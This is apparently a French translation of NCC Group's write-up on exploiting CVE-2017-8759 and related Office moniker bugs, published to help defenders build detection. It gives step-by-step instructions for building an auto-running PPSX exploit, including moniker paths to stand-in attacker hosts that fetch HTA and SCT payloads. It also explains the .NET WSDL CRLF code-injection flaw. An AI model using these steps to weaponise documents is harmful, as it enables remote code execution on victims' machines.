nccgroup/cve-2017-8759L'analyse et l'exploitation de CVE-2017-8759 par NCC Group, ainsi que des raffinements supplémentaires.
Ce dépôt contient des exemples d'exploits pour CVE-2017-8759 pour Microsoft PowerPoint, ainsi qu'une description de la manière dont des vulnérabilités similaires ont été, et peuvent être, exploitées en utilisant les mêmes techniques.
L'objectif de la publication de ce dépôt est de mettre en évidence des techniques d'exploitation alternatives que les défenseurs pourraient actuellement ignorer. En mettant en évidence ces techniques alternatives, nous espérons permettre aux défenseurs de mettre en œuvre une détection robuste et d'éviter à la fois les faux positifs (dans le cas d'une identification erronée d'autres exploits de moniker comme CVE-2017-0199) et les faux négatifs (lorsque seules les détections RTF sont ciblées).
En avril, lorsque j'ai appris qu'une nouvelle vulnérabilité non corrigée était exploitée dans la nature, j'ai cherché à recréer l'exploit afin que des règles de détection puissent être créées avant que la vulnérabilité ne devienne publique. Cependant, à l'époque, tout ce dont je disposais était la description de la vulnérabilité publiée dans les articles de blog de FireEye et McAfee. En raison du manque de détails publics, cela m'a conduit à exploiter la vulnérabilité en utilisant (ce qui s'est avéré être) une méthode entièrement différente de celle utilisée par l'exploit « RTF URL Moniker » observé dans la nature.
Environ un mois plus tard, Haifei Li a mis en évidence la deuxième vulnérabilité (alias « PPSX Script Moniker ») lors de sa conférence SyScan360, qu'il avait identifiée et signalée en janvier 2017. Celle-ci a également été corrigée dans le cadre du même correctif CVE-2017-0199, mais a été exploitée (à la fois par l'auteur, et plus tard dans la nature) en utilisant le format de fichier PPSX. À ce stade, je n'ai toujours pas connaissance d'attaques dans la nature ayant utilisé le bug du moniker URL via PPSX — cependant, étant donné que les deux bugs ont été corrigés sous le même CVE, il y a eu (et il y a encore) une certaine confusion autour de la détection de ces exploits (plus de détails à ce sujet plus loin).
Avance rapide jusqu'en septembre 2017 : FireEye a découvert une autre vulnérabilité qui utilisait le format RTF dans Microsoft Word. Cela m'a incité à revenir sur mon précédent exploit « PPSX URL Moniker » pour vérifier si le nouveau bug « SOAP moniker » était également exploitable en utilisant la même technique PPSX.
Comme mentionné ci-dessus, la vulnérabilité précédente (CVE-2017-0199) était en réalité deux vulnérabilités distinctes, corrigées par Microsoft sous le même numéro CVE. La première (alias le bug « URL moniker ») a été exploitée via RTF, tandis que la seconde (alias le bug « script moniker ») utilisait en réalité une technique entièrement différente et a été exploitée en utilisant le format OOXML, plus précisément PPSX.
Comme également mentionné précédemment, la technique OOXML n'est pas spécifique à la vulnérabilité du script moniker et peut être utilisée pour exploiter les vulnérabilités « URL moniker », « Script moniker » et la nouvelle vulnérabilité « SOAP moniker ».
L'exploitation en OOXML est assez simple et s'appuie sur quelques astuces pour amener l'objet vulnérable à s'activer automatiquement. Je vais d'abord couvrir l'exploit du moniker URL, puis expliquer comment il pourrait être mis à jour pour fonctionner avec les monikers script et soap (et potentiellement d'autres à l'avenir).
Tout d'abord, un lien vers un fichier doit être intégré (appelé StdOleLink, ou OLE2Link). J'ai utilisé un lien vers un fichier PowerPoint dans mon exploit — comme illustré ci-dessous. Cela est nécessaire plus tard pour activer le moniker.
Une fois le lien en place, le chemin doit être modifié pour contenir la chaîne du moniker. Dans le cas du bug « URL moniker », cela consiste simplement à ajouter une URL pointant directement vers un fichier HTA (c.-à-d. « http://attacker.com/evil.hta »). Pour la version Script moniker, vous pouvez utiliser la chaîne « script:https://attacker.com/evil.sct ». Le chemin du fichier vers l'objet lié est stocké à l'emplacement suivant :
ppt\slides\_rels\slide1.xml.rels
Il suffit de remplacer ceci par une chaîne de moniker pour déclencher la vulnérabilité lorsque l'objet lié est activé. Cependant, cela ne se produit pas automatiquement à moins d'utiliser une autre astuce.
Pour activer automatiquement l'objet, vous pouvez utiliser ce que l'on appelle un « OLE Verb ». En termes simples, c'est ce qui amène PowerPoint à « activer » l'objet, en appelant la méthode IMoniker::BindToObject(), ce qui aboutit à l'exécution de votre code (selon le moniker, différents chemins sont empruntés après cela).
Pour utiliser un OLE Verb, sélectionnez simplement l'objet intégré et allez dans :
Animations -> Add Animation -> OLE Action Verbs -> Open
Une fois l'animation OLE Verb créée, vous pouvez sélectionner « Démarrer : avec le précédent » afin de garantir que l'objet est activé dès le démarrage du diaporama.
À ce stade, si vous choisissez d'enregistrer le document au format PPTX et de l'ouvrir, une invite vous demandera de mettre à jour les liens. Ceci est indésirable dans un scénario d'exploitation.
Pour contourner ce problème, vous pouvez simplement enregistrer le fichier au format PPSX (diaporama PowerPoint) à la place. Cela entraînera le démarrage automatique du diaporama à l'ouverture (et donc le déclenchement de l'OLE Verb pour exécuter votre code).
Comme décrit dans l'article de blog de FireEye, la vulnérabilité réside en réalité dans le framework .NET plutôt que dans Office lui-même. Cela est dû à un problème d'injection de code lors de l'analyse d'un fichier WSDL contenant plusieurs définitions d'adresses. Si une séquence CRLF est injectée, il est possible d'ajouter du code arbitraire au fichier c# généré, qui est ensuite compilé en DLL et chargé par l'application Office.
Le bug lui-même est présent dans la méthode IsValidUrl de la classe WsdlParser de System.Runtime.Remoting. Avant le correctif CVE-2017-8759, cette méthode ne vérifie pas la présence de caractères CRLF et retourne simplement la chaîne non assainie (après s'être assurée que la chaîne est correctement entre guillemets), qui est ensuite écrite dans un fichier .cs pour compilation par csc.exe. Cela signifie que si un attaquant transmet une URL contenant \r\n, il peut injecter du code arbitraire dans le fichier C# généré. La raison pour laquelle l'injection CRLF fonctionne est que, généralement, lorsqu'un fichier WSDL contenant plusieurs définitions d'adresses est analysé, la méthode PrintClientProxy tente de commenter les définitions suivantes, comme illustré ci-dessous.
IsValidUrl non corrigée :
PrintClientProxy :